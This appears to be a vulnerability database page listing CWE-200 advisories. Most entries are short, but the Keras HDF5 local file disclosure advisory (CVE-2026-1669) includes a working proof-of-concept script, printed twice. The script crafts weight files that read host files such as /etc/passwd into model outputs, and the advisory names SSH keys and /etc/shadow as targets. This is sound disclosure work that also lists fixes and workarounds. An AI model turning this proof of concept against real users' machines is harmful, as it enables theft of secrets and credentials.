Common Weakness Enumeration

CWE-200

Discouraged

Exposure of Sensitive Information to an Unauthorized Actor

Abstraction: Class · Status: Draft

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

14282 vulnerabilities reference this CWE, most recent first.

GHSA-3M4Q-JMJ6-R34Q

Vulnerability from github – Published: 2026-02-18 22:41 – Updated: 2026-02-18 22:41

Summary

Keras has a Local File Disclosure via HDF5 External Storage During Keras Weight Loading

Details

Summary

TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct load_weights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).

Impact

Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)
What leaks: Contents of any readable file on the host (e.g., /etc/hosts, /etc/passwd, /etc/hostname).
Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.
Prerequisites: Victim executes model.load_weights() or tf.keras.models.load_model() on an attacker-supplied HDF5 weights file or .keras archive.
Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.

Attacker Scenario

Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.
Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., /home/<user>/.ssh/id_rsa, /etc/shadow if readable, configuration files containing API keys, etc.).
Execution: The victim calls model.load_weights() (or tf.keras.models.load_model() for .keras archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors.
Exfiltration vectors:
Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.
Re-saving the model (weights or .keras archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry.
If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.

Additional Preconditions

The target file must exist and be readable by the process running TensorFlow/Keras.
Safe mode (load_model(..., safe_mode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization.
Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to /etc/hostname) can reduce impact, but common defaults expose a broad set of host files.

Environment Used for Verification (2025‑10‑19)

OS: Debian-based container running Python 3.11.
Packages (installed via python -m pip install -U ...):
tensorflow==2.20.0
keras==3.11.3
h5py==3.15.1
numpy==2.3.4
Tooling: strace (for syscall tracing), pip upgraded to latest before installs.
Debug flags: PYTHONFAULTHANDLER=1, TF_CPP_MIN_LOG_LEVEL=0 during instrumentation to capture verbose logs if needed.

Reproduction Instructions (Weights-Only PoC)

Ensure the environment above (or equivalent) is prepared.
Save the following script as weights_external_demo.py:

from __future__ import annotations
import os
from pathlib import Path
import numpy as np
import tensorflow as tf
import h5py

def choose_host_file() -> Path:
    candidates = [
        os.environ.get("KFLI_PATH"),
        "/etc/machine-id",
        "/etc/hostname",
        "/proc/sys/kernel/hostname",
        "/etc/passwd",
    ]
    for candidate in candidates:
        if not candidate:
            continue
        path = Path(candidate)
        if path.exists() and path.is_file():
            return path
    raise FileNotFoundError("set KFLI_PATH to a readable file")

def build_model(units: int) -> tf.keras.Model:
    model = tf.keras.Sequential([
        tf.keras.layers.Input(shape=(1,), name="input"),
        tf.keras.layers.Dense(units, activation=None, use_bias=True, name="dense"),
    ])
    model(tf.zeros((1, 1)))  # build weights
    return model

def find_bias_dataset(h5file: h5py.File) -> str:
    matches: list[str] = []
    def visit(name: str, obj) -> None:
        if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"):
            matches.append(name)
    h5file.visititems(visit)
    if not matches:
        raise RuntimeError("bias dataset not found")
    return matches[0]

def rewrite_bias_external(path: Path, host_file: Path) -> tuple[int, int]:
    with h5py.File(path, "r+") as h5file:
        bias_path = find_bias_dataset(h5file)
        parent = h5file[str(Path(bias_path).parent)]
        dset_name = Path(bias_path).name
        del parent[dset_name]
        max_bytes = 128
        size = host_file.stat().st_size
        nbytes = min(size, max_bytes)
        nbytes = (nbytes // 4) * 4 or 32  # multiple of 4 for float32 packing
        units = max(1, nbytes // 4)
        parent.create_dataset(
            dset_name,
            shape=(units,),
            dtype="float32",
            external=[(host_file.as_posix(), 0, nbytes)],
        )
        return units, nbytes

def floats_to_ascii(arr: np.ndarray) -> tuple[str, str]:
    raw = np.ascontiguousarray(arr).view(np.uint8)
    ascii_preview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore")
    hex_preview = raw[:64].tobytes().hex()
    return ascii_preview, hex_preview

def main() -> None:
    host_file = choose_host_file()
    model = build_model(units=32)

    weights_path = Path("weights_demo.h5")
    model.save_weights(weights_path.as_posix())

    units, nbytes = rewrite_bias_external(weights_path, host_file)
    print("secret_text_source", host_file)
    print("units", units, "bytes_mapped", nbytes)

    model.load_weights(weights_path.as_posix())
    output = model.predict(tf.zeros((1, 1)), verbose=0)[0]
    ascii_preview, hex_preview = floats_to_ascii(output)
    print("recovered_ascii", ascii_preview)
    print("recovered_hex64", hex_preview)

    saved = Path("weights_demo_resaved.h5")
    model.save_weights(saved.as_posix())
    print("resaved_weights", saved.as_posix())

if __name__ == "__main__":
    main()

Execute python weights_external_demo.py.
Observe:
secret_text_source prints the chosen host file path.
recovered_ascii/recovered_hex64 display the file contents recovered via model inference.
A re-saved weights file contains the leaked bytes inside the artifact.

Expanded Validation (Multiple Attack Scenarios)

The following test harness generalises the attack for multiple HDF5 constructs:

Build a minimal feed-forward model and baseline weights.
Create three malicious variants:
External storage dataset: dataset references /etc/hosts.
External link: ExternalLink pointing at /etc/passwd.
Indirect link: external storage referencing a helper HDF5 that, in turn, refers to /etc/hostname.
Run each scenario under strace -f -e trace=open,openat,read while calling model.load_weights(...).
Post-process traces and weight tensors to show the exact bytes loaded.

Relevant syscall excerpts captured during the run:

openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 7
read(7, "127.0.0.1 localhost\n", 64) = 21
...
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 9
read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32
...
openat(AT_FDCWD, "/etc/hostname", O_RDONLY|O_CLOEXEC) = 8
read(8, "example-host\n", 64) = 13

The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.

Workarounds

Avoid loading untrusted HDF5 weight files.
Pre-scan weight files using h5py to detect external datasets or links before invoking Keras loaders.
Prefer alternate formats (e.g., NumPy .npz) that lack external reference capabilities when exchanging weights.
If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.

Timeline (UTC)

2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.
2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented safe_keras_hdf5.py prototype guard.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keras"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.13.0"
            },
            {
              "fixed": "3.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keras"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-18T22:41:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nTensorFlow / Keras continues to honor HDF5 \u201cexternal storage\u201d and `ExternalLink` features when loading weights. A malicious `.weights.h5` (or a `.keras` archive embedding such weights) can direct `load_weights()` to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras \u201csafe mode\u201d only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (`tensorflow 2.20.0`, `keras 3.11.3`, `h5py 3.15.1`, `numpy 2.3.4`).\n\n## Impact\n\n- **Class**: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)\n- **What leaks**: Contents of any readable file on the host (e.g., `/etc/hosts`, `/etc/passwd`, `/etc/hostname`).\n- **Visibility**: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.\n- **Prerequisites**: Victim executes `model.load_weights()` or `tf.keras.models.load_model()` on an attacker-supplied HDF5 weights file or `.keras` archive.\n- **Scope**: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.\n\n## Attacker Scenario\n\n1. **Initial foothold**: The attacker convinces a user (or CI automation) to consume a weight artifact\u2014perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.\n2. **Crafted payload**: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., `/home/\u003cuser\u003e/.ssh/id_rsa`, `/etc/shadow` if readable, configuration files containing API keys, etc.).\n3. **Execution**: The victim calls `model.load_weights()` (or `tf.keras.models.load_model()` for `.keras` archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors.\n4. **Exfiltration vectors**:\n   - Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.\n   - Re-saving the model (weights or `.keras` archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry.\n   - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.\n\n### Additional Preconditions\n\n- The target file must exist and be readable by the process running TensorFlow/Keras.\n- Safe mode (`load_model(..., safe_mode=True)`) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization.\n- Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to `/etc/hostname`) can reduce impact, but common defaults expose a broad set of host files.\n\n## Environment Used for Verification (2025\u201110\u201119)\n\n- OS: Debian-based container running Python 3.11.\n- Packages (installed via `python -m pip install -U ...`):\n  - `tensorflow==2.20.0`\n  - `keras==3.11.3`\n  - `h5py==3.15.1`\n  - `numpy==2.3.4`\n- Tooling: `strace` (for syscall tracing), `pip` upgraded to latest before installs.\n- Debug flags: `PYTHONFAULTHANDLER=1`, `TF_CPP_MIN_LOG_LEVEL=0` during instrumentation to capture verbose logs if needed.\n\n## Reproduction Instructions (Weights-Only PoC)\n\n1. Ensure the environment above (or equivalent) is prepared.\n2. Save the following script as `weights_external_demo.py`:\n\n```python\nfrom __future__ import annotations\nimport os\nfrom pathlib import Path\nimport numpy as np\nimport tensorflow as tf\nimport h5py\n\ndef choose_host_file() -\u003e Path:\n    candidates = [\n        os.environ.get(\"KFLI_PATH\"),\n        \"/etc/machine-id\",\n        \"/etc/hostname\",\n        \"/proc/sys/kernel/hostname\",\n        \"/etc/passwd\",\n    ]\n    for candidate in candidates:\n        if not candidate:\n            continue\n        path = Path(candidate)\n        if path.exists() and path.is_file():\n            return path\n    raise FileNotFoundError(\"set KFLI_PATH to a readable file\")\n\ndef build_model(units: int) -\u003e tf.keras.Model:\n    model = tf.keras.Sequential([\n        tf.keras.layers.Input(shape=(1,), name=\"input\"),\n        tf.keras.layers.Dense(units, activation=None, use_bias=True, name=\"dense\"),\n    ])\n    model(tf.zeros((1, 1)))  # build weights\n    return model\n\ndef find_bias_dataset(h5file: h5py.File) -\u003e str:\n    matches: list[str] = []\n    def visit(name: str, obj) -\u003e None:\n        if isinstance(obj, h5py.Dataset) and name.endswith(\"bias:0\"):\n            matches.append(name)\n    h5file.visititems(visit)\n    if not matches:\n        raise RuntimeError(\"bias dataset not found\")\n    return matches[0]\n\ndef rewrite_bias_external(path: Path, host_file: Path) -\u003e tuple[int, int]:\n    with h5py.File(path, \"r+\") as h5file:\n        bias_path = find_bias_dataset(h5file)\n        parent = h5file[str(Path(bias_path).parent)]\n        dset_name = Path(bias_path).name\n        del parent[dset_name]\n        max_bytes = 128\n        size = host_file.stat().st_size\n        nbytes = min(size, max_bytes)\n        nbytes = (nbytes // 4) * 4 or 32  # multiple of 4 for float32 packing\n        units = max(1, nbytes // 4)\n        parent.create_dataset(\n            dset_name,\n            shape=(units,),\n            dtype=\"float32\",\n            external=[(host_file.as_posix(), 0, nbytes)],\n        )\n        return units, nbytes\n\ndef floats_to_ascii(arr: np.ndarray) -\u003e tuple[str, str]:\n    raw = np.ascontiguousarray(arr).view(np.uint8)\n    ascii_preview = bytes(b if 32 \u003c= b \u003c 127 else 46 for b in raw).decode(\"ascii\", \"ignore\")\n    hex_preview = raw[:64].tobytes().hex()\n    return ascii_preview, hex_preview\n\ndef main() -\u003e None:\n    host_file = choose_host_file()\n    model = build_model(units=32)\n\n    weights_path = Path(\"weights_demo.h5\")\n    model.save_weights(weights_path.as_posix())\n\n    units, nbytes = rewrite_bias_external(weights_path, host_file)\n    print(\"secret_text_source\", host_file)\n    print(\"units\", units, \"bytes_mapped\", nbytes)\n\n    model.load_weights(weights_path.as_posix())\n    output = model.predict(tf.zeros((1, 1)), verbose=0)[0]\n    ascii_preview, hex_preview = floats_to_ascii(output)\n    print(\"recovered_ascii\", ascii_preview)\n    print(\"recovered_hex64\", hex_preview)\n\n    saved = Path(\"weights_demo_resaved.h5\")\n    model.save_weights(saved.as_posix())\n    print(\"resaved_weights\", saved.as_posix())\n\nif __name__ == \"__main__\":\n    main()\n```\n\n3. Execute `python weights_external_demo.py`.\n4. Observe:\n   - `secret_text_source` prints the chosen host file path.\n   - `recovered_ascii`/`recovered_hex64` display the file contents recovered via model inference.\n   - A re-saved weights file contains the leaked bytes inside the artifact.\n\n## Expanded Validation (Multiple Attack Scenarios)\n\nThe following test harness generalises the attack for multiple HDF5 constructs:\n\n- Build a minimal feed-forward model and baseline weights.\n- Create three malicious variants:\n  1. **External storage dataset**: dataset references `/etc/hosts`.\n  2. **External link**: `ExternalLink` pointing at `/etc/passwd`.\n  3. **Indirect link**: external storage referencing a helper HDF5 that, in turn, refers to `/etc/hostname`.\n- Run each scenario under `strace -f -e trace=open,openat,read` while calling `model.load_weights(...)`.\n- Post-process traces and weight tensors to show the exact bytes loaded.\n\nRelevant syscall excerpts captured during the run:\n\n```\nopenat(AT_FDCWD, \"/etc/hosts\", O_RDONLY|O_CLOEXEC) = 7\nread(7, \"127.0.0.1 localhost\\n\", 64) = 21\n...\nopenat(AT_FDCWD, \"/etc/passwd\", O_RDONLY|O_CLOEXEC) = 9\nread(9, \"root:x:0:0:root:/root:/bin/bash\\n\", 64) = 32\n...\nopenat(AT_FDCWD, \"/etc/hostname\", O_RDONLY|O_CLOEXEC) = 8\nread(8, \"example-host\\n\", 64) = 13\n```\n\nThe corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.\n\n## Recommended Product Fix\n\n1. **Default-deny external datasets/links**:\n   - Inspect creation property lists (`get_external_count`) before materialising tensors.\n   - Resolve `SoftLink` / `ExternalLink` targets and block if they leave the HDF5 file.\n2. **Provide an escape hatch**:\n   - Offer an explicit `allow_external_data=True` flag or environment variable for advanced users who truly rely on HDF5 external storage.\n3. **Documentation**:\n   - Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default.\n4. **Regression coverage**:\n   - Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.\n\n## Workarounds\n\n- Avoid loading untrusted HDF5 weight files.\n- Pre-scan weight files using `h5py` to detect external datasets or links before invoking Keras loaders.\n- Prefer alternate formats (e.g., NumPy `.npz`) that lack external reference capabilities when exchanging weights.\n- If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.\n\n## Timeline (UTC)\n\n- **2025\u201110\u201118**: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.\n- **2025\u201110\u201119**: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented `safe_keras_hdf5.py` prototype guard.",
  "id": "GHSA-3m4q-jmj6-r34q",
  "modified": "2026-02-18T22:41:58Z",
  "published": "2026-02-18T22:41:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/security/advisories/GHSA-3m4q-jmj6-r34q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1669"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/pull/22057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/commit/8a37f9dadd8e23fa4ee3f537eeb6413e75d12553"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keras-team/keras"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/releases/tag/v3.12.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keras-team/keras/releases/tag/v3.13.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keras has a Local File Disclosure via HDF5 External Storage During Keras Weight Loading"
}

GHSA-3M64-79R5-56F2

Vulnerability from github – Published: 2024-11-18 09:31 – Updated: 2025-06-24 18:33

Details

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache HertzBeat.

This issue affects Apache HertzBeat: before 1.6.1.

Users are recommended to upgrade to version 1.6.1, which fixes the issue.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

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{
  "affected": [],
  "aliases": [
    "CVE-2024-45791"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-18T09:15:05Z",
    "severity": "HIGH"
  },
  "details": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache HertzBeat.\n\nThis issue affects Apache HertzBeat: before 1.6.1.\n\nUsers are recommended to upgrade to version 1.6.1, which fixes the issue.",
  "id": "GHSA-3m64-79r5-56f2",
  "modified": "2025-06-24T18:33:08Z",
  "published": "2024-11-18T09:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45791"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/jmbsfjsvrfnvosh1ftrm3ry4j3sb7doz"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/lvsczrp8kdynppmzyxtkh4ord4gpw1ph"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/11/16/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3M9J-MHPF-84WJ

Vulnerability from github – Published: 2025-08-25 15:32 – Updated: 2025-08-26 00:31

Details

Mahara before 22.10.4 and 23.x before 23.04.4 allows information disclosure if the experimental HTML bulk export is used via the administration interface or via the CLI, and the resulting export files are given to the account holders. They may contain images of other account holders because the cache is not cleared after the files of one account are exported.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-47799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-25T14:15:28Z",
    "severity": "HIGH"
  },
  "details": "Mahara before 22.10.4 and 23.x before 23.04.4 allows information disclosure if the experimental HTML bulk export is used via the administration interface or via the CLI, and the resulting export files are given to the account holders. They may contain images of other account holders because the cache is not cleared after the files of one account are exported.",
  "id": "GHSA-3m9j-mhpf-84wj",
  "modified": "2025-08-26T00:31:11Z",
  "published": "2025-08-25T15:32:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47799"
    },
    {
      "type": "WEB",
      "url": "https://git.mahara.org/catalyst-security/mahara-security/-/issues/2"
    },
    {
      "type": "WEB",
      "url": "https://mahara.org/interaction/forum/topic.php?id=9353"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MCC-R9WQ-F9G6

Vulnerability from github – Published: 2026-02-27 09:30 – Updated: 2026-02-27 09:30

Details

A flaw was found in the Red Hat Ansible Automation Platform, Event-Driven Ansible (EDA) Event Stream API. This vulnerability allows exposure of sensitive client credentials and internal infrastructure headers via the test_headers field when an event stream is in test mode. The possible outcome includes leakage of internal infrastructure details, accidental disclosure of user or system credentials, privilege escalation if high-value tokens are exposed, and persistent sensitive data exposure to all users with read access on the event stream.

Severity

6.7 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2025-9907"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-27T08:17:06Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the Red Hat Ansible Automation Platform, Event-Driven Ansible (EDA) Event Stream API. This vulnerability allows exposure of sensitive client credentials and internal infrastructure headers via the test_headers field when an event stream is in test mode. The possible outcome includes leakage of internal infrastructure details, accidental disclosure of user or system credentials, privilege escalation if high-value tokens are exposed, and persistent sensitive data exposure to all users with read access on the event stream.",
  "id": "GHSA-3mcc-r9wq-f9g6",
  "modified": "2026-02-27T09:30:29Z",
  "published": "2026-02-27T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9907"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:19201"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:19221"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23069"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:23131"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-9907"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392834"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MCG-4JHC-4P5F

Vulnerability from github – Published: 2022-05-14 03:03 – Updated: 2022-05-14 03:03

Details

phpwcms 1.8.9 allows remote attackers to discover the installation path via an invalid csrf_token_value field.

Severity

5.3 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2018-12990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-30T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "phpwcms 1.8.9 allows remote attackers to discover the installation path via an invalid csrf_token_value field.",
  "id": "GHSA-3mcg-4jhc-4p5f",
  "modified": "2022-05-14T03:03:56Z",
  "published": "2022-05-14T03:03:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-12990"
    },
    {
      "type": "WEB",
      "url": "https://3xpl01tc0d3r.blogspot.com/2018/06/information-disclosure-internal-path.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3MF5-JC6X-RP7Q

Vulnerability from github – Published: 2022-05-13 01:23 – Updated: 2025-04-11 03:41

Details

The copy_shmid_to_user function in ipc/shm.c in the Linux kernel before 2.6.37-rc1 does not initialize a certain structure, which allows local users to obtain potentially sensitive information from kernel stack memory via vectors related to the shmctl system call and the "old shm interface."

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{
  "affected": [],
  "aliases": [
    "CVE-2010-4072"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-11-29T16:00:00Z",
    "severity": "LOW"
  },
  "details": "The copy_shmid_to_user function in ipc/shm.c in the Linux kernel before 2.6.37-rc1 does not initialize a certain structure, which allows local users to obtain potentially sensitive information from kernel stack memory via vectors related to the shmctl system call and the \"old shm interface.\"",
  "id": "GHSA-3mf5-jc6x-rp7q",
  "modified": "2025-04-11T03:41:28Z",
  "published": "2022-05-13T01:23:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4072"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=648656"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=3af54c9bd9e6f14f896aac1bb0e8405ae0bc7a44"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=3af54c9bd9e6f14f896aac1bb0e8405ae0bc7a44"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2010-12/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-02/msg00000.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2011-02/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://lkml.org/lkml/2010/10/6/454"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42758"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42778"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42884"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42890"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42932"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42963"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/43161"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/43291"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/46397"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2010/dsa-2126"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v2.6/testing/ChangeLog-2.6.37-rc1"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:029"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:051"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/10/07/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/10/25/3"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2010-0958.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-0007.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-0017.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2011-0162.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/520102/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/45054"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1041-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1057-1"
    },
    {
      "type": "WEB",
      "url": "http://www.vmware.com/security/advisories/VMSA-2011-0012.html"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0012"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0070"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0124"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0168"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0280"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0298"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2011/0375"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3MF7-99RR-74GR

